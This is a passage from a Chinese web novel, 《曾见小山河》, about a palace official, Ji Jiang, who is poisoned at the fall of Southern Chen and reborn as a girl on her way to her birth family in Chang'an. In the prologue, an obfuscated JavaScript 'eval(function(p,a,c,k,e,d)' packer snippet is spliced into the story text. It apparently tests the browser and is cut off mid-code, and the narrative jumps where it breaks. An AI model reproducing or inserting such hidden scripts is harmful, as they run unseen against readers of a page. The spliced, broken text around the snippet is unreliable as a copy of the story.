《曾见小山河》 1. 楔子 苍穹如泼墨,满城飞暴雪。 含章宫还是一如既往的安静。 正殿前栽满了系上红绸的桂树,如今,桂花不开,绿叶未生,曾经迎风飞扬的红绸第一次被雪压在了枯枝上。 红绸白雪,难辨底色,只衬得满庭寂寥。 殿前回廊上有宫人匆匆走过,脚边白雪回旋落在裙角上。 阿蛮推开殿门,看到那个临窗而立的清瘦身影。 女子还是一身素布麻衣,青丝用红发带束在身后,周身没有任何坠饰,纤细单薄的身子如竹节般挺直。 过去的十年间,阿蛮常看到女子这样站在紫金宫最高的楼宇上,远眺整个韶州城。 这是第一次,她站在窗前,只为去看殿后那片雪淹的竹林。 “回来了?” 听到开门声,季姜回身看来,她声音依旧清亮,含着笑意。 阿蛮早已忘却有多少年不曾见她笑过了,难掩激动地点点头,把手上捧着的白瓷盘递过去。 垂眼看到盘中摆放整齐的糯米桂花糕,季姜笑了。 “你做的?这时节竟还能寻得桂花吗?” 阿蛮笑着看她,抬手比划。 ‘你爱吃,我去年在地窖留了晒干的桂花。’ 看着眼前人,心间蓦然涌起一股酸涩,季姜红了眼眶。 “别拘礼了,陪我坐坐吧。” 她抬手拉过阿蛮,两人并肩一块儿坐在窗下地席上。 季姜身子孱弱畏冷,不到初冬,太子便早早命人在殿中弄起了地龙,便是银丝炭盆也是常备着的。 只前日,不知怎的,季姜忽撤了这些取暖的物什,直言不需再大费周章,做些无用功。 阿蛮猜不到她心思,只一味的听命。 季姜抬手接过瓷盘,拿了桂花糕一整块全放进嘴里。 从入宫那天起,她学的任何规矩都不允许她再这样肆意的吃喝。 如今,终于不用再顾忌。 这便罢了,可有些缺憾,恐这辈子是没法弥补了。 季姜知道,吃进嘴里的糯米桂花糕该是甜糯香软的,吃起来有一股浓郁的桂花醇香。 她曾经尝到过,如今也应该尝到的,可她早就尝不出味道了。 瞿太后崇信丹药方术,当年与季姜一同入宫的那些女子都为其试过丹药,可只有季姜活下来了。 那时候她天真的以为自己命大,可她不知道,用过丹药活下来,留在这座宫阙的人才是生不如死。 尝不出味道是最不值一提的。 不过也没什么,自从离开万春楼,她再也没有吃过那样好吃的糯米桂花糕了。 其他的,不过将就罢了。 季姜十三岁出寒州,十四岁入南陈,十五岁由婌懿公主荐,侍奉瞿太后左右,十八岁弄权掌后宫,至此,再也回不了头了。 * 如今的天下共有二国,一个是如今偏安一隅的南陈,还有一个便是北地中州的大晋。 季姜本是大晋人。 她是大晋平昭侯府孟家的女儿。 不过在几十年前孟家还不是勋贵,孟家只是跟着萧氏打天下的其中一家。 那时候,乱世尚在,战祸不休。 那年冬日里,孟家少了一个小女儿,而远在千里之外的寒州多了一个稚童。 季姜在万春楼长到四岁,挽娘为她寻了一位师父,授她读书识礼、教她立身处世。 十三岁,师父师姐离开了寒州,为了找她们,季姜也离开万春楼,沿着秉生江一路向南。 一年后,她在南陈军营见到了师父师姐。 满帐南陈将,师父着银光甲胄,坐在帐中首位,师姐持枪立在一侧。 她愣怔间,只闻师父轻唤跪在地上的她到身边。 原来师父乃是南陈将门曹氏唯一的后人,那位十七岁披甲握枪,三十年沙场驰骋的阳凤将军。 原来她不止有一个师姐,还有一个早已从戎的师兄。 她记得,那年是永嘉三十二年。 又一年,韶州忽就乱了起来,外有大晋来攻,内有奸佞专政。 术业有专攻,凭师父师姐沙场如何驰骋飞扬,到底不是弄权之辈,也做不出揽政之事。 可若想保的平定安稳,朝中宫闱须要有人。 恰是这一年,她认识了婌懿公主和太子殿下。 瞒着师父,她偷偷进宫做了公主的侍读。 季姜记得,进宫后第一次再见师姐,师姐对她对了手。 师兄妹三人里,师姐脾气最不好,可对她这小师妹素来是爱护的。 那是师姐第一次动手打她。 军棍敲在身上,她不肯松口离宫,师姐指着她,恨骂道, “谁让你进宫的,滚回北地,滚回大晋去!” 她不顾伤处,笑嘻嘻地上前牵师姐的手。 “我不回去,他们十几年都没有来找过我,说不得早就忘了,我就待在这儿陪你们,好不好?” 师姐垂眼看她,直盯得眼眶殷红,却没再落下一棍。 说来奇怪,一路走来死掉的人太多了,季姜都不会特意记得,可她竟到现在都记得师姐那个眼神。 现在想来…… 师父师姐怕是早预见南陈倾覆的结局了吧。 往事已矣,如今想来,也只换得季姜一笑。 在那之后呢。 是永嘉三十七年,九月,太子册封礼,青云殿宫变。 师兄万箭穿心,死在青云殿前,她被太子藏在后殿密室里,逃过一劫。 永嘉三十八年,春三月,师父师姐在秉生江战死,尸骨无存。 至此,南陈没了她的亲人,只剩她。 只剩她,像个孤魂野鬼一样在紫金宫里飘荡。 * 肩膀被人轻轻戳了下,季姜回过神。 阿蛮比划着,问她好不好吃。 纠缠在乌发上的碎雪已然化了水,滴落在脚下,季姜使劲眨了眨眼,含笑回阿蛮道:“好吃,” 她不住点头:“真的很好吃。” 女子面容苍白,唇却红得像要滴血,双眼沉静荒芜,早没了当年初入宫时的明媚娇俏。 阿蛮看的心痛,凑过去握住季姜冰凉的手,轻轻揉搓,想把她捂暖。 这动作阿蛮做过千万次,可从没捂暖过哪怕一次。 季姜好像一具还能呼吸动作的死尸,外面看着没什么,其实里面早就冷透了。 “阿蛮,我想回家了。” 耳边的风声听不到了,一片寂静中,季姜侧头看向窗外,面上无悲无喜,声音也小得几乎听不见。 “我想回寒州了。” 想回万春楼,想再和姊妹们倚栏远眺,夜半纵舞。 ……也想挽娘了。 ……她是真的好想好想她。 阿蛮伸手想要比划什么,季姜却先拉住了阿蛮的手。 她不肯转头,望向窗外的眼底浮出一层水光。 “阿蛮,我的家在寒州的万春楼,楼上就系着桂花树上那样的红绸,楼里最好吃的糕饼是胡婆子做的糯米桂花糕,出了城还有一片草原,” “从这里走,咱们一人一匹马就能回家……” 季姜声音哽咽,终于有了些起伏。 “阿蛮,咳咳……你替我回家吧,那里还有人在等着我呢……咳咳......” 她似乎是心血来潮,说到激动处又咳了起来,胸膛剧烈的震颤,好像有什么要穿透她消瘦脆弱的身体,把人打碎。 阿蛮轻抚她单薄的背脊,却忽觉得双手越发抬不起来。 身上的力气仿佛一瞬间被抽走。 阿蛮意识到什么,眼底柔软震碎,惊愕地抬头去看。 可眼中却已然斑驳模糊。 风卷着残雪从窗外飘进来,几盏油灯晃了晃终于还是暗下去。 季姜把阿蛮扶到矮榻上,为其盖好锦被,又起身将棱窗放下来。 做完这些,她站在矮榻边,轻声道:“我都安排妥当了,纯钧去燕北替我杀最后一个人,等她回来,你们就离开南陈,天地广阔,任尔纵横,何处都能栖身。” 何处都好过这里。 季姜走到殿中的矮案后,跪坐下来,提袖研磨。 昏黄暗影下,她像一尊坚实的雕像,任风雪侵袭,自岿然不动。 殿中最后一盏灯快要熄灭时,殿外传来一道尖细的声音。 “曹尚宫,太子召。” 曹,季姜师父阳凤将军的姓,季姜本无姓,入宫后才对外人道随师姓。 殿内无人出声,只有笔毫刷过宣纸的沙沙声。 殿前内侍也不言语,只是低头静待。 不知过了多久。 一夜的风雪初停,烛火燃尽,光从门底的缝隙里露出来,稍微照亮了殿里的暗影。 季姜净手后开门走出来。 直到这一刻,女子还是如雪压下的青竹,冷冽直韧,一袭布衣不掩满身清华。 廊下的内侍们头低得恨不得含进胸中,脊背也不觉微微佝偻。 他们都是这紫金宫里的老人了,不知道见过多少人死在这位曹尚宫手里。 可这世间的权势都是一样的。 人生再长不过百年,权势又能握多久,你拿到它的那天就得想好怎么把它安稳地交出去,才不会灼了自己的手。 可这位曹尚宫算是个怪人。 竟从没给自己留过后路。 一路走来,鲜花着锦热火烹油,波澜丛生也不掩惊才绝艳,如今却骤然要赴死局了。 可怜可叹,但却解气。 他们南陈可全毁在这两个女人手里了! 季姜不知旁人如何看她,她只是感到畅快,无比畅快。 她累了,也受不了了。 如今解脱自然畅快。 含章宫是公主的宫殿,婌懿死后,季姜就搬到了这里,她记得她第一次进宫就住在这里。 围炉而坐,婌懿给她斟上一盏剑南春,她接过还未端稳,酒盏已被身后的太子拿去。 婌懿走的那年没等到春天,如今她也等不到了。 季姜抬起头,清亮的眼眸映出天边一线白光。 许久后,杏眸轻合,她呼出一口气,笑道:“走吧。” * “本是富贵命,零落化尘泥,何必呢?” 踏进青云殿时,季姜耳畔忽然响起当年在地牢里,那位被囚禁的大晋凤子裴徵玉对她说的话。 那时候季姜是不屑的。 隔着地牢的木栏,她与他僵持对视。 半晌,才嚣张地笑起来。 挑衅道:“我不会死的,不过小裴大人你......那就不一定了。” 世事难料,如今,倒是反过来了。 裴徵玉没死,大晋兵临城下,她要先走一步了。 季姜缓步走进殿里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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护有生人靠近,她只深觉不适。 可喊出这句话后,季姜反而呆住,继而自嘲地笑了。 什么尊贵体面,什么高权厚禄,全是假的。 权势、志向、挚友,都是骗人的。 扶人的郎君没有半分生气的意思,他随季姜心意不再去扶她,只温声道。 “今夜风雪紧,尚宫饮盏温酒,暖暖身吧。” 他缓缓开口,话中竟含着种莫名的温和。 季姜听得出来,这种温和不是因为他认识她,像是他待谁都如此。 她垂眸看向那樽透翠琉璃盏,翠盏映红酒,酒液自波中荡开,配上一双修长的白玉手,煞是好看。 “你倒是客气,我还要多谢你了。” 郎君只作听不出言外之意,轻轻笑开道:“尚宫多礼了,我不过代友来送尚宫一程,当不得什么谢。” 代友。 一瞬间,已有三人名姓浮现在季姜的脑海中。 自涉政事以来,她宿敌有三。 一个战场交锋过,一个她亦敌亦友,还有一个,阴谋攻伐从未间断,却也从没打过半分照面。 这三人都有可能。 可事到如今,深究已是无益。 况且她何必此时说出,让帘后那人渔翁得利呢。 就让大晋远道而来的铁蹄彻底踏碎南陈这座骷髅塔也是快事一桩啊。 季姜真心的弯唇笑笑,伸手接过酒盏,没有半点犹豫,仰头一口饮下。 酒是好酒,还是上好的剑南春,当年在南陈饮下的第一盏酒,便是这个。 如今,也算有始有终了。 温酒划过腔喉,季姜没有感觉出灼热,倒还真觉得身上暖了起来。 青年被季姜方才那一笑晃了下神,不觉向帘后瞥去一眼,眼中却越发深凝。 她竟是猜到了吗? 喝下酒后季姜再没睁开眼,似乎什么都不值得她再浪费一眼。 她抬手点点藏在珠帘后的人,兀自转身往外走去,边走还边笑着喊起来。 “你太蠢了,纵使我死千百次,外面那帮蠹虫都不会听你任命,大晋也绝不会止兵,不信只待来日看,太蠢了,太蠢了.......” 轻狂寥落,直喊到气若游丝。 到最后,自喃喃低语,不知是说给谁的。 季姜挺直脊背,强撑着往殿外走。 嘴中鲜血外涌,布衣染红,她却执着地不肯停下。 她不要死在这儿。 她绝不死在这儿。 血滴落在地上,随她脚步一路生花。 殿外,冬阳大盛,天光乍临。 仅剩一步,殿中却发出‘咚’的一声。 身陷混沌,双目暗蔽。 耳边只剩嗡鸣,季姜隐约知道自己跌在了门口。 冷风拂面处,耳畔忽飘起一阵清脆的琵琶音。 天光处,浮现出万春楼的娘子们。 红绸绿衣,粉面窈窕,玉颈琵琶,素指弹拨,细细听去,竟是一曲《太平醉》。 2. 李兖是个大麻烦 旧元三十四年,萧氏一统北地。 过淮南,以秉生江为界,与南陈相对峙。 萧穆于平城称帝,国号大晋,年号靖武,供先考于太庙,号太祖。 次年,帝谕迁都长安。 春伊始,臣工官眷同备迁长安。 * 这一年是迁都后的第二年。 靖武四年的春日。 清晨降下的白露打湿街上的青石砖,白墙爬满淡绿青苔,幽静的深巷中不时传来娘子卖杏花的吆喝声。 一片清净中唯有镇上最大的茶楼里热闹喧哗。 楼下,醒木一拍,说书先生讲得还是那出《惊蛰传》。 “书接上回,中原大乱时,北境也不甚平静,旧元三年,有一人,一骑一枪挑落北地八将,直冲旧都而去,此人姓燕,单名一个宗字,.....” 楼上,红衣少年倾身趴在倚栏上,他眉眼带笑,双眸灿若星辰,显是听得津津有味。 听到燕宗这名,李兖顿时笑出声。 他回头,看向坐在桌对面那个黑着脸的郎君。 “五哥,这书里讲的燕宗就是我阿翁吧,这名儿起得可真有意思。” 少年卷发高束,飘红发带上坠着燕北的刺金银饰,一双晶亮的琥珀瞳眸,笑起来唇角上扬,露出一对小虎牙来,一派顽性张烈。 对面的萧屺看着,说不出重话,只不咸不淡开口:“是挺有意思的。” 楼下又是一阵叫好声。 李兖没心没肺的跟着叫好,叫完还低头去看自己身上。 眼见没什么可给的,他眼珠微转,视线落在旁边人身上。 一旁侍立的护卫,蹀躞带上恰有一串铜板。 李兖对上护卫的眼,笑着挑了挑眉,探身伸手一勾,摘下那串铜板。 他拿在手里轻微掂掂,手一扬,铜板立时飞向楼下,叮铃啷当砸在说书案上。 细碎的声音惊得说书先生一颤,紧接着脸上又露出喜色。 偏乡小镇之地,讲上一日也不过得三两铜板,出手便是一贯铜板的阔绰人可不多见啊。 说书先生折扇一收,抬头看过去。 二楼倚栏而立的少年一身银朱箭袖圆领袍,头上束红珠玄金编带抹额,式样精精美做工精细,一看就不是寻常人家的子弟。 见他看过去,那少年更乐了,笑得见眉不见眼的。 说书的调转折扇向二楼拱手谢赏。 李兖见此,拍掉手上的糕点碎屑,也学着朝楼下随意拱了拱手。 少年直真,言笑晏晏貌胜繁花,行止没什么度量却也意气。 萧屺实在看不下去了,搁下茶杯开口道:“你吃饱喝足就赶紧回京去吧,别惹的李尚书四处找你不见再追到这里来,我这次可不是出来玩的。” “我知道啊。” 李兖一撩袍子,意犹未尽地坐回去,一本正经道:“七哥跑了,咱俩这不找他来了嘛,多一个人多一分助力,对不对?哥哥放宽心,我不会给你添乱的。” 萧屺不肯松口,七郎一个麻烦他姑且还能应对一二,若再加上一个李兖 ......不行,绝对不行。 ......李兖不是一般的麻烦。 萧屺光是想想脑仁儿就开始疼了。 “五哥,” 李兖殷勤地给萧屺倒茶,还把盘里的糕点摆好,推到他那边。 “我绝不给你添乱,我长这么大从没来过南地,就想看看嘛。” 萧屺使劲捏捏眉心。 “你别以为我不知道你和孟家的事,七郎是偷跑出来的,你不也是,不添乱?这话说出来你自己可信?” 李兖闻言转了个身,后倚向红栏,二郎腿一翘,手上抛着花生,嘚瑟道:“说起孟家,哎,弟弟我小小年纪就这样招人喜欢,可真真是个大麻烦啊。” “不过......” 他转过头,对上萧屺的那双眼里尽是探究:“五哥真的什么都知晓了?” 萧屺给了他一个‘那是自然’的眼神,却自顾自端起茶盏来,掩饰心虚。 其实他并不是很了解。 只知道十多年前李兖的阿娘宇文夫人和孟家的谢夫人义结金兰,商定下一门亲事。 当时李兖已经两岁了,而谢夫人正怀胎七月,后来谢夫人果然生了女儿,还是两个。 但不巧的是,谢夫人生产当日正值通州战役最关键的时候,敌我攻守间城中混乱不堪。 一片乱糟糟里,孟家丢了一个小娘子。 就是谢夫人最小的那个女儿,算来应是行六的。 经此一事,谢夫人悲痛欲绝,再不肯提将剩下的那个女儿许出去的话。 这事就此搁置。 前几年大晋立国建朝后,不知他阿耶从哪里听来的这事,竟又在宫宴上提及了。 彼时谢夫人不在宴上,孟大将军犹豫许久后倒是应了下来。 可后来又有消息传,李、孟两家请过八字了,李兖与孟五娘子八字不合,这婚事不成。 这下,就算他阿耶是圣人,也不能强按着八字不合的两人结亲了。 此事再次搁置。 直到数月前,孟六娘子找到了。 此事又又翻起波澜。 可这次,跳出来作妖的成了李兖这个当事人,他死活不愿意结这门亲事,一直闹到现在。 光是这一个月李尚书就打了李兖三次。 李家是累世簪缨,世家大族,李仆射更是出了名的儒雅礼重之人。 能让他这样动手,必然是李兖闹得太过分了。 萧屺忍不住摇头,“我真不知道你和七郎到底都在闹什么。” 这话说得。 李兖直起身,一脸的认真,“七哥怎样我是不知道,可我这怎么能叫胡闹呢,我连见都没见过那位孟六娘子,一回来就要与她定下亲事,这算哪门子喜事,我不要。” 李兖说着摆摆手,一副‘要不起’的样子 少年的理直气壮倒叫萧屺有些愣住了。 他半晌后才问:“父母之命媒妁之言,历来不都是这样的嘛,怎么就你不行?” “我......” 李兖解释不出什么,憋了半天,恼怒的喊出一句,“哎呀,我就是不行。” 他又不喜欢孟六,怎么娶她。 李兖说完立马跳起来,转身往楼下去。 “你干什么去,这儿不是长安,你别乱来。” “困了,回客栈睡觉。”李兖闷闷道。 方一踏出茶楼,李兖脸上哪里还有一丝郁闷,甚至还心情极好的转了转手上那把小巧的嵌珠小刀。 走过几步,迎面走上前来一形容高大的青年。 他待要开口,李兖赶紧嘘了一声,摆摆手让他跟上。 春三月,正是江南好时节,扬州城里四处垂柳青青,温风徐徐,街上小贩行人往来不绝。 李兖生长在燕北,去年才刚回京,更是从没来过南地,现在看什么都新鲜。 几人上了街,随从冬生伢凑过来。 “十四郎,都准备妥当了。” 与京中人不同,从燕北跟着李兖来的人多唤他在宇文家的排行,十四郎。 “这么快。”李兖有些惊讶。 “咱们打着侯府的名号,干事当然快,就是……此事若叫侯爷知道了,怕是不好解释。” 冬生伢看上去有些心虚。 “出息。” 李兖抬腿踢过去。 他振振有词,“解释什么?他是我老子,我是他儿子,用用他名号怎么了,圣人封他爵位是让他揣怀里藏起来的?还只让人喊他李~仆~射,” 李兖怪腔怪调学道:“我就偏不,还有你们,少学他。” “就是。” 一旁的哥舒也深以为然。 他们燕北人有什么说什么,从不来虚的。 “是是是。” 冬生伢嘴上喏喏恭敬应着,实则心里比谁都高兴。 他原还担心回长安待了许久,十四郎会被长安的风吹软,更甚变成文宣侯那副老书呆子样。 还好没有,十四郎还是燕北的十四郎。 李兖满意地点点头。 他把刚买来的描火洒金朱雀面具罩在脸上,只露出一双星目,眨呀眨的笑。 “那还等什么,走吧。” * 骄阳初生,秉生江上,水雾苍苍,波光粼粼。 从上面瞧去,江上船只皆首尾相衔而进,数十里不绝,穿透稀薄晨雾,大船压过碎光,趁风一路南下。 “六娘子,六娘子快看,这五彩锦鲤真的是彩色的,这鳞片都是不一样的彩色,光一照可真好看。” “这一条更好看,它的眼睛都是金色的。” “这个,这个也好看。” 船板上,几个梳双丫髻的小娘子正围着中间的大木盆叽叽喳喳地说笑,笑声沿着江雾传去。 无人应话,只二楼飞阁上被风吹起一片柳绿裙摆,绿波迎着江风,曲褶中吹出一片生机盎然。 见飞阁上倚栏远眺的小娘子不理人,宝帘站起身喊她。 “六娘子~” 带着些许抱怨的清脆喊声传上来,被唤作六娘的小娘子收回远眺的目光,低头无奈应道:“看到了,看到了。” 听到季姜的回应,宝帘欢喜地下手从木盆里捞出那条金眼的锦鲤,仰头高高举起来给她看。 季姜清冷的眼中慢慢蕴起淡笑,见那鱼儿扭得欢,赶紧喊道:“我看得到,你快放下它,当心.......” 当心什么,季姜话还没说完,就见鱼儿鼓着尾巴摇来摇去,不一瞬便脱手而出,‘啪’一下摔在船板上。 周围顿时又是一阵小娘子们的叫喊。 宝帘忙蹲身去抓,奈何她手上满是滑腻,连抓几次都脱了手。 季姜在上面看着,眼底不觉溢出笑意。 底下一片欢闹,笑声沿江扩散。 季姜抬手撑在栏杆上,唇角勾着笑,静静看她们。 这样的欢声笑语已经与她相隔十几年了,握了握近来愈发白润的小手,季姜还是感到难以置信。 她重生了。 重生在豆蔻年岁。 这副样子已经一月有余,季姜才相信世间真有这样的奇事。 自己真的回到了年少,回到了这一年在寒州司马府上落水伤了脑袋的时候。 万春楼不养无用之人。 她七岁便到寒州秦司马府上做婢女,虽说挣不了几个铜板,但挽娘却一直坚持让她跟在司马夫人高氏身边。 直到十四岁进了紫金宫,她才明白挽娘的用心良苦。 高夫人出身陇西大族,虽是旁支也到底比寻常百姓家懂得更多,高夫人是挽娘能接触到的最好的妇人,所以她将自己送去了高夫人身边。 十一二岁那年她落水伤到脑袋,足足躺了一个多月。 想来挽娘是吓坏了,哪怕醒了也有足一年没要她去过司马府上。 可与前世不同。 这一世她一睁眼不在万春楼,却是已经在去长安的路上了。 前世,孟家没有遣人来寒州接过她,可如今却是孟五老爷来接她回长安。 那么,前世平昭侯夫妇真的不曾来接过她吗? 这些,季姜无从得知,也不想知道了。 一死醒来,已是隔世,有些事却完全变了。 季姜听闻手侍屠刀者,死后要入畜生道轮回的,是以她根本没想过还能投生做人。 更没想到做得还是她自己。 只是可惜,没再见到万春楼的娘子们。 不过既然已经踏上了去长安的路,那么她也自有自己的一番道理。 前世季姜只以为孟家从没来接过自己,为亲生爷娘所弃也是她前世心中的一根刺。 重来一次,不求深恩厚情,可她至少要见过他们。 哪怕只是知晓他们的模样,也好过自己都不知道自己的血肉来自哪里。 季姜想过了,等见过孟家人,她还是要去南陈。 前世大晋人为她送上毒酒她并不怨怪,毕竟各行其道、成王败寇罢了。 可这酒不该是南陈人为她斟上的。 她从不欠他们什么,却落得被自己人杀害后拱手送出的结果。 她不服。 哪怕再死几百次,她也不服这样的道理。 所以,这一次,她可不做扶大厦将倾的蠢人了,她要做睚眦必报之人。 婌懿说得很对。 她这人最叫人生厌的不是百般诡计,而是难缠,就像砍不完的绿藤,柔韧无刚却丝丝缠绕,叫人窒息。 这次她一定能活着回寒州去,这一世她只想做万春楼的季姜。 想到万春楼,季姜不免有些眼湿起来。 不等她更伤感,底下就传来一声小娘子的娇斥。 “你们做什么呢!吵吵闹闹的像什么样子,都给我起来!” 船亭下走出一个与季姜年岁相仿的小娘子,只是她那一身樱粉云锦短襦对襟和轻纱高腰裙比之季姜要华贵得多,说起话来更是娇蛮。 韦馥指向宝帘一行人。 “瞧瞧你们这些没规矩的,把这里弄得脏死了,还不赶紧拿水来把这儿擦拭干净。” “这可是咱们府上的船......” 宝帘把锦鲤扔进木盆里,不禁嘟囔。 旁边的映采扯扯她的衣袖,一同行了礼。 韦馥见二人不动,皱眉道:“傻站着做什么,去抬水来啊,就着把这木盆扔了去,一股子腥味。” “我们又不是......” “宝帘,映采。” 季姜趴在栏杆边喊人。 看见旁边的韦馥,她惊讶道:“韦三娘子,你也在啊。” 看见季姜,韦馥有些不自然,轻咳了声,低低回道:“里面闷,出来透透风。” 季姜哦了声,她学着韦馥的样子,指指地上的木盆。 “那些鱼可是我在上个渡口买来的五彩锦鲤,三娘不喜也不必给我扔了啊,抬回我屋里便是。” “上个渡口,那不就是溪州了,” 韦馥上前去探看,见阳光下那锦鲤的鳞片显出斑斓的五彩,不由惊讶,“还真是溪州的五彩锦鲤。” “是啊。”季姜应道。 察觉到季姜还在上面趴着,韦馥又端起手轻哼一声。 “没想到你长成在乡野,倒也听说过溪州的五彩锦鲤。” 季姜不欲与她争锋,扯扯嘴角,转身欲走,“听说锦鲤煮汤还不错,我买来试试。” 锦鲤煮汤...... 果然是个粗鄙之人,真是,自己作甚要与她搭话。 韦馥面色一僵,顿觉跟吃了苍蝇一样噎人,一甩袖又回了船阁。 宝帘嘴角压不住地上扬,映采轻咳提醒她“还不快叫人抬木盆,六娘子等着咱们呢。” 她说完拉着宝帘就走。 * 季姜上船阁时正碰着到处寻她的 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季姜重生这月余几乎就是吃了睡睡了吃,身子是眼见的白胖了不少。 她俨然被毓娘养成了个玉雪可爱的稚女。 可不知是不是她的错觉,她总觉得落水后自己的身子恢复的不如前世好。 三月南地已经回暖,但她身上却总是冷津津的。 季姜正想着,宝帘和映采掀了帘子从外面走进来,后边还跟着抬木盆的小厮。 小厮放好木盆上前来给季姜行礼道:“六娘子,我们老爷得了几条江鲟鱼,请您晚间过去尝个鲜。” 五叔是听到她和韦馥说话了吧。 季姜笑道:“只我一个人?还是也请了韦家兄妹?” 小厮也笑,“我们老爷说了,好东西自先紧着小娘子。” 几条江鱼而已,本不算什么好东西,只是五叔惯来会说话。 季姜应下来挥手让那两个小厮回去。 小厮一走,毓娘也紧着打了帘子出去煮姜汤了。 宝帘凑过来,“六娘子,你放才没看到,那韦三娘子气得脸都红了,直在阁里对着女使撒气。” 映采给季姜倒了温水,瞥向宝帘,嗔怪她。 “你还说,若非娘子出声你还真要跟韦三娘子呛声不成,你啊,也是太没规矩了。” 宝帘与季姜一般大,映采要长两人几岁,她也更加稳重些。 这会儿被映采说教,宝帘也不驳她,只撇撇嘴,显是没听进去。 季姜看着两人一来一回的小动作,抬起两只小手摸了摸两人头上的小髻。 “又不是什么大事,说了便说了,左右这是孟家的船,他们兄妹不过借乘罢了,难道还能以客欺主?不过……” 季姜转身拍拍宝帘的头,“你以后还是避开她些,她若不吃气告到五叔父那里,也是难办。” 映采闻言,眼中露出一抹淡淡的崇拜。 虽然与六娘子相处仅月余,可她也看出来了,这六娘子十分机敏妥帖,还有一点小娘子少见的稳重。 宝帘倒是没多想,只是连连点头,看向季姜的眼神愈发开心。 她们主子虽小,可却是向着她们的呢。 左右百无聊赖,三人趴在窗边看行船的波澜。 宝帘嘴上一直没听过,从终南山的北麓竹林说到渭北的九成宫,似乎长安没有她不知道的。 三人说着话,毓娘就端了漆盘进来。 寒州落水醒来后,季姜虽然总是觉得身子冷津津的但除了冷也没别的不适。 毓娘得知后却坚持要她喝几副风寒的药,几乎每个渡口都派了小厮下去抓药。 季姜无法只能喝着。 可…… 看着漆木托盘里一碗姜汤一碗药汤,季姜只觉得难以下咽。 为难道:“毓娘,我若喝下这两碗,午饭是无论如何都吃不下了。” 旁边的宝帘噗嗤一声笑出来,映采去捂她的嘴。 毓娘扫了眼托盘,把药汤端了下去,“算了,这药汤以后就停了,不过六娘子莫要不在意,这风寒有时候看不出什么,可保不齐这可是要命的病......” 季姜三人由着她絮絮叨叨,只是偶尔点头应一声。 午膳时,毓娘来告诉季姜,今夜顺风船队不靠渡口,明日一早就能到扬州了。 他们乘马车从寒州出发,到蜀州后又由蜀中沿江而下,如今就要到扬州。 季姜脑海中回忆着南地的舆图,点点头表示知晓。 膳后季姜便被毓娘催着去午觉。 船上也没什么好娱乐打发时光,毓娘三人闲来无事只守在船阁中做些针线活。 春风柔柔,碧波漾漾,日影渐渐西斜。 窗边矮榻上,睡梦中的季姜身体却越来越冰冷。 她震惊地看着眼前千军万马城外厮杀的景象,脚下抑制不住地往后退。 她怎么又回来了? 还偏偏回到这一天? 天边忽然炸开一声尖锐磅礴的鸟鸣。 风雪中一只白雕展翅俯冲下来,尖利的长喙死死咬住兵卒的脖颈,一霎间血肉纷飞。 天地昏沉,季姜忍着眼前的恍惚走到城墙边举目望去。 千军万马之后果然立着那个人。 隔过风雪,她看不清他的脸,只见赤甲白马,玄金辟月长刀扛在他肩上,无尾的白马后拖了一个血肉模糊的人。 季姜头痛欲裂,她俯身捶头缓解,再抬头时就见面前站了一个身着素布麻衣的人。 竟是她自己! 不,是前世的曹尚宫。 一如前世,布衣之人双眼血红,颤抖着手拿过长弓,弯弓搭箭的瞬间手臂却又异常稳健。 转瞬之间,箭羽飞速射出,精准命中白马拖拽的那具血肉。 “住手,师姐!那是师姐啊......” 季姜猛地睁开双眼。 她大口呼吸着温暖的空气,胸腔却异常的压抑。 眼角有晶莹的泪珠滑进鬓发。 没有不断钻入心肺的冷气,也没有浑浊脏污的血腥味。 季姜呆了半天才缓缓软下身子来。 她如小兽一样蜷缩进榻里,把自己埋进有还有暖意的棉被里。 阁窗外一片金光闪闪,夕阳落在江面上铺出一江的碎光。 季姜平静的看着,只觉心中升起一丝无力和麻木来。 重活一世又如何,纵然报仇又如何,她还是走不出那个南陈。 “六娘子,该起身了。” 毓娘的声音传进来,纱帘被撩开,映采跟在她后面端了水进来。 “再过半个时辰就到晚膳时候了,六娘子您还得去五老爷那边呢,还是早些起来梳洗梳洗,咱们回来再睡。” 季姜感觉到毓娘温柔的托起她,继而落到一片暖呼呼的暖云里,让她舍不得离开。 春衫单薄,很快毓娘就感觉到了肩上的湿润,她张口轻喊:“六娘子,这是怎么了?” 毓娘说着看向映采二人,满眼询问,映采二人也是摇头不知。 “毓娘,我没事,就是有些累。” 季姜伸手紧紧抱住这丝暖意。 宝帘立刻道“那我去回了五老爷,咱们小娘子不去那边了,就在阁里歇了。” 请辞与长辈的同食,这事本有些不妥,可毓娘也没加阻拦,叫宝帘去了。 3. 危险直觉(落水) 晚食时候,鸟儿盘旋叽喳。 孟五老爷的船阁外搭了支长长的竹竿,竿上站了七八只绿羽黄毛的鹦哥儿,这会儿正吵叫着挣食。 阁外有小厮回说 “阿郎,秦家又派人来了,等在前面的渡口呢。” 船板上站了个身材瘦高穿宝蓝圆领袍的青年,闻言他头都没回,只是啧了声,不耐烦道:“怎么又来了?” 此人正是孟家五老爷孟显珍。 方才得知季姜身子不适不来用饭了,安排好医侍,孟五老爷也不急着催厨上的晚食,就出来逗逗他讨来的鹦哥儿。 那小厮吞吞吐吐。 “呃......这次是秦家在扬州的本宗,扬州刺史派来的人。” “扬州刺史?” 孟五老爷喂食的手顿了顿,半天后才想起来这是个何方人也。 从长安出发前四哥曾跟他说过。 当年六娘就是被托付给扬州刺史夫人白氏的。 可时逢乱世,凡事难料,二嫂嫂一伙人出城的方向没遇到残兵。 可秦家却遇到了。 白氏死守与二嫂嫂的约定,拼去一条性命护住了六娘。 但秦刺史是个不着调的,白氏去后,他竟然在逃难的路上就抬了心爱的小妾做正头夫人。 这位新夫人王氏乃是个不可多得的‘人才’。 她不知脑子里哪根筋没搭对。 听闻六娘是云麾将军的孩子,竟将六娘扔给了要去寒州任职的秦家旁支。 这事论到底,秦家对孟家有恩也有过。 恩又多在去了的白夫人身上,与秦家关系不大。 二哥信上也表明了意思,无论恩过,六娘找回来他就再不追究,两家以后只当没有来往过。 可这秦家偏就不依不饶。 在寒州时,秦氏旁支里几次上门致歉,出了寒州,又换上本宗了。 “又说什么了?” 孟五老爷现在对秦家已经是十成十的厌恶了。 “说......”小厮有些说不出口。 “吞吞吐吐作甚,有话说话,磨磨唧唧的。”孟五老爷斥道。 